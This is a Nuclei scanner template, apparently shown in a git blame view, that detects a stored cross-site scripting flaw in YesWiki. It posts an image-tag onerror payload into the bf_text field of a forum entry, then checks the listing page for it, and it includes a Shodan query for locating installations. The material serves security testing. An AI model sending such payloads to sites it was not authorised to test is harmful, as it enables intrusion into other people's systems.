2022-08-09 07:27:50 +00:00
|
|
|
id: yeswiki-stored-xss
|
2022-08-08 21:10:20 +00:00
|
|
|
|
|
|
|
info:
|
2022-08-09 07:27:50 +00:00
|
|
|
name: YesWiki - Cross-site Scripting (Stored)
|
2022-08-08 21:10:20 +00:00
|
|
|
author: arafatansari
|
|
|
|
severity: medium
|
|
|
|
description: |
|
2022-08-09 07:27:50 +00:00
|
|
|
YesWiki is vulnerable to Stored XSS via bf_text field when add a new entry for Forum.
|
2022-08-08 21:10:20 +00:00
|
|
|
reference:
|
2022-08-09 07:27:50 +00:00
|
|
|
- https://huntr.dev/bounties/5f27a9b1-c092-47e2-8092-a81298a4b932/
|
2022-08-08 21:10:20 +00:00
|
|
|
metadata:
|
2022-08-09 07:27:50 +00:00
|
|
|
verified: true
|
2022-08-08 21:10:20 +00:00
|
|
|
shodan-query: http.html:"yeswiki"
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: yeswiki,xss,stored,huntr
|
2022-08-08 21:10:20 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /?BazaR&vue=saisir&action=saisir_fiche&id=2 HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="bf_titre"
|
|
|
|
|
|
|
|
blog
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="bf_text"
|
|
|
|
|
2022-08-09 18:36:59 +00:00
|
|
|
"><img src=x onerror=console.log(123);>
|
2022-08-08 21:10:20 +00:00
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="file"; filename=""
|
|
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="bf_description"
|
|
|
|
|
|
|
|
abcd
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="fichierbf_file"; filename=""
|
|
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="antispam"
|
|
|
|
|
|
|
|
1
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="id_typeannonce"
|
|
|
|
|
|
|
|
2
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu--
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET /?BazaR&vue=consulter HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
2022-08-09 07:27:50 +00:00
|
|
|
req-condition: true
|
2022-08-08 21:10:20 +00:00
|
|
|
matchers:
|
2022-08-09 07:27:50 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- "contains(all_headers_2, 'text/html') && contains(all_headers_2, 'YesWiki')"
|
|
|
|
- "status_code_2 == 200"
|
2022-08-09 18:36:59 +00:00
|
|
|
- contains(body_2, '><img src=x onerror=console.log(123);>')
|
2022-08-08 21:10:20 +00:00
|
|
|
condition: and
|